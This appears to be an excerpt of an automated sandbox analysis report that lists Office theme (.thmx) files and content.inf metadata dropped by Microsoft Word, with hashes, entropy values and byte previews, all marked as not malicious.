Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDEABD.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.516359852766808
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKwRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6qymD0wbnKNAH/lMz1
MD5:	960E28B1E0AB3522A8A8558C02694ECF
SHA1:	8387E9FD5179A8C811CCB5878BAC305E6A166F93
SHA-256:	2707FCA8CEC54DF696F19F7BCAD5F0D824A2AC01B73815DE58F3FCF0AAB3F6A0
SHA-512:	89EA06BA7D18B0B1EA624BBC052F73366522C231BD3B51745B92CF056B445F9D655F9715CBDCD3B2D02596DB4CD189D91E2FE581F2A2AA2F6D814CD3B004950A
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.c.e.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEAED.tmp\Basis.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDEAED.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5361139545278144
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeMWMluRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnycMlMymD0wbnKNAH/lMz1
MD5:	133D126F0DE2CC4B29ECE38194983265
SHA1:	D8D701298D7949BE6235493925026ED405290D43
SHA-256:	08485EBF168364D846C6FD55CD9089FE2090D1EE9D1A27C1812E1247B9005E68
SHA-512:	75D7322BE8A5EF05CAA48B754036A7A6C56399F17B1401F3F501DA5F32B60C1519F2981043A773A31458C3D9E1EF230EC60C9A60CAC6D52FFE16147E2E0A9830
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.s.i.s...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEAFF.tmp\Frame.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDEAFF.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5159096381406645
Encrypted:	false
SSDEEP:	6:Q+sxnxUXQIa3ARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygIaqymD0wbnKNAH/lMz1
MD5:	71CCB69AF8DD9821F463270FB8CBB285
SHA1:	8FED3EB733A74B2A57D72961F0E4CF8BCA42C851
SHA-256:	8E63D7ABA97DABF9C20D2FAC6EB1665A5D3FDEAB5FA29E4750566424AE6E40B4
SHA-512:	E62FC5BEAEC98C5FDD010FABDAA8D69237D31CA9A1C73F168B1C3ED90B6A9B95E613DEAD50EB8A5B71A7422942F13D6B5A299EB2353542811F2EF9DA7C3A15DC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .F.r.a.m.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEB1F.tmp\Metropolitan.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCDEB1F.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5091498509646044
Encrypted:	false
SSDEEP:	6:Q+sxnxUX1MiDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyFdMymD0wbnKNAH/lMz1
MD5:	23D59577F4AE6C6D1527A1B8CDB9AB19
SHA1:	A345D683E54D04CC0105C4BFFCEF8C6617A0093D
SHA-256:	9ADD2C3912E01C2AC7FAD6737901E4EECBCCE6EC60F8E4D78585469A440E1E2C
SHA-512:	B85027276B888548ECB8A2FC1DB1574C26FF3FCA7AF1F29CD5074EC3642F9EC62650E7D47462837607E11DCAE879B1F83DF4762CA94667AE70CBF78F8D455346
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.t.r.o.p.o.l.i.t.a.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEB40.tmp\Dividend.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDEB40.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5459495297497368
Encrypted:	false
SSDEEP:	6:Q+sxnxUXvBAuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnypJymD0wbnKNAH/lMz1
MD5:	76340C3F8A0BFCEDAB48B08C57D9B559
SHA1:	E1A6672681AA6F6D525B1D17A15BF4F912C4A69B
SHA-256:	78FE546321EDB34EBFA1C06F2B6ADE375F3B7C12552AB2A04892A26E121B3ECC
SHA-512:	49099F040C099A0AED88E7F19338140A65472A0F95ED99DEB5FA87587E792A2D11081D59FD6A83B7EE68C164329806511E4F1B8D673BEC9074B4FF1C09E3435D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.i.v.i.d.e.n.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEC4C.tmp\Parallax.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCDEC4C.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.51145753448333
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKsWkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6svymD0wbnKNAH/lMz1
MD5:	7956D2B60E2A254A07D46BCA07D0EFF0
SHA1:	AF1AC8CA6FE2F521B2EE2B7ABAB612956A65B0B5
SHA-256:	C92B7FD46B4553FF2A656FF5102616479F3B503341ED7A349ECCA2E12455969E
SHA-512:	668F5D0EFA2F5168172E746A6C32820E3758793CFA5DB6791DE39CB706EF7123BE641A8134134E579D3E4C77A95A0F9983F90E44C0A1CF6CDE2C4E4C7AF1ECA0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.a.l.l.a.x...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDED0A.tmp\Quotable.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Local\Temp\TCDED0A.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5323495192404475
Encrypted:	false
SSDEEP:	6:Q+sxnxUXhduDARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyxdumymD0wbnKNAH/lMz1
MD5:	BD6B5A98CA4E6C5DBA57C5AD167EDD00
SHA1:	CCFF7F635B31D12707DC0AC6D1191AB5C4760107
SHA-256:	F22248FE60A55B6C7C1EB31908FAB7726813090DE887316791605714E6E3CEF7
SHA-512:	A178299461015970AF23BA3D10E43FCA5A6FB23262B0DD0C5DDE01D338B4959F222FD2DC2CC5E3815A69FDDCC3B6B4CB8EE6EC0883CE46093C6A59FF2B042BC1
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .Q.u.o.t.a.b.l.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDED0B.tmp\Wood_Type.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Local\Temp\TCDED0B.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.5552837910707304
Encrypted:	false
SSDEEP:	6:Q+sxnxUXtLARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygymD0wbnKNAH/lMz1
MD5:	5728F26DF04D174DE9BDFF51D0668E2A
SHA1:	C998DF970655E4AF9C270CC85901A563CFDBCC22
SHA-256:	979DAFD61C23C185830AA3D771EDDC897BEE87587251B84F61776E720ACF9840
SHA-512:	491B36AC6D4749F7448B9A3A6E6465E8D97FB30F33EF5019AF65660E98F4570711EFF5FC31CBB8414AD9355029610E6F93509BC4B2FB6EA79C7CB09069DE7362
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .W.o.o.d._.T.y.p.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEDD9.tmp\Berlin.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDEDD9.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5270134268591966
Encrypted:	false
SSDEEP:	6:Q+sxnxUXa3Y1kRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyt1mymD0wbnKNAH/lMz1
MD5:	327DA4A5C757C0F1449976BE82653129
SHA1:	CF74ECDF94B4A8FD4C227313C8606FD53B8EEA71
SHA-256:	341BABD413AA5E8F0A921AC309A8C760A4E9BA9CFF3CAD3FB2DD9DF70FD257A6
